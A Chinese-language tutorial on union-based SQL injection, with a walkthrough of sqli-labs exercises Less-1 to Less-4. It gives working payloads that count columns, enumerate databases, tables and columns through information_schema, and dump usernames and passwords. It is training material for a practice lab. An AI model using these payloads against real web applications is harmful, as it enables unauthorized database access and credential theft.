相关知识

  • information_schema,系统数据库,包含所有数据库相关信息。
  • information_schema.schemata中schema_name列,字段为所有数据库名称。
  • information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
  • information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。
  • concat(str1, str2,…)返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
  • concat_ws(separator, str1, str2, …)和concat()同,第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
  • group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

应用场景

  • 只有最后一个select子句允许有order by
  • 只有最后一个select子句允许有limit
  • 只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
  • 注入点页面有回显

注入步骤

以下均以一种类型呈现

1. order by 确定列数

order by猜出来的列数超过数据库表中的列数,报错并不能返回数据

?id=1' order by 1--+

可使用二分法找出刚好报错的列数

可在末尾使用--+%23以注释掉后面的limit,注意这里的得用%23代替#,因为url会转码

2. 观察页面返回,选取可以显示数据的位置,进行下一步注入

?id=' union select 1,2,3--+

这里"1,2,3"的个数就是确定出来的列数

至于这里id的值,我们需要让他为不存在的值,如这里有三列,我们可以让他大于三或者为负数,或者干脆直接空着,这样通过id查询的不到值,回显的就是我们select出来的数据

3. 读库信息

?id=-1' union select 1,2,database() --+ 

由于我们可以在里面套娃sql语句,以上语句也可以改为下面的

?id=-1' union select 1,2,(select database()) --+ 

或者直接读取其他的所有库(若只能显示一行数据,可使用group_concat()连接或用limit 0,1一个个查询)

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

4. 读表信息

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' --+

这里代表数据库名,得用单引号括起来,或者转为16进制就不用用单引号,以下也是

对当前表进行查询:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

5. 读字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' --+

6. 读数据

?id=-1' union select 1,2,group_concat(字段名,0x3a,字段名,0x3c2f62723e) from 数据库名.表名 --+

这里用:,换行符来分隔数据,比较好看

练习

Less-1

提示Please input the ID as parameter with numeric value,可知这里是需要输入id值,我们输入?id=1,发现可以回显,这时,尝试输入?id=1',报错了

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里告诉我们在'1'' LIMIT 0,1出现了语法错误,由此可推断后台对id进行了单引号闭合处理,这里就是注入点了,我们可以通过注释掉后面这个单引号和limit,前面已经提过

如果无法理解怎么判断可看源码

SELECT * FROM users WHERE id='$id' LIMIT 0,1

加上单引号之后就是

SELECT * FROM users WHERE id='1'' LIMIT 0,1

这里单引号没闭合,所以报错,报错信息为'1'' LIMIT 0,1附近出错

?id=1' order by 1--+         //二分法继续...
发现当列数为4时报错,可知列数为3
?id=' union select 1,2,3--+

接下来就是上面提过的操作了

爆库

?id=-1' union select 1,2,database() --+         

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

报数据

?id=-1' union select 1,2,group_concat(username,0x3a,password,0x3c2f62723e) from security.users --+

Less-2

照常输入?id=1,正常回显,这是尝试?id=1',发现报错

heck the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

这里' LIMIT 0,1出错了,可发现我们这题没有进行闭合,可直接执行

这题解法和Less-1差不多,把后面的单引号去掉就是我们这题的payload

Less-3

照常输入?id=1,正常回显,这是尝试?id=1',发现报错

check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

这里'1'') LIMIT 0,1出错了,可发现我们这里的'是多余的,后面还有一个'),我们可对他进行闭合,解法和Less-1差不多,把后面的单引号换成')就是我们这题的payload

SELECT * FROM users WHERE id=('1'') LIMIT 0,1

SELECT * FROM users WHERE id=('1') order by 1 –+ ') LIMIT 0,1

Less-4

照常输入?id=1,正常回显,这是尝试?id=1',正常回显,尝试?id=1",发现抱错

check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

这里"1"") LIMIT 0,1出错了,可知道这里用了双引号和)闭合,我们可构造为"),其他和Less-1一样,把后面的单引号换成")即可

总结

可先尝试输入单引号'或者双引号",看是否会报错,根据报错信息构造payload,然后按照步骤走就可以了

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...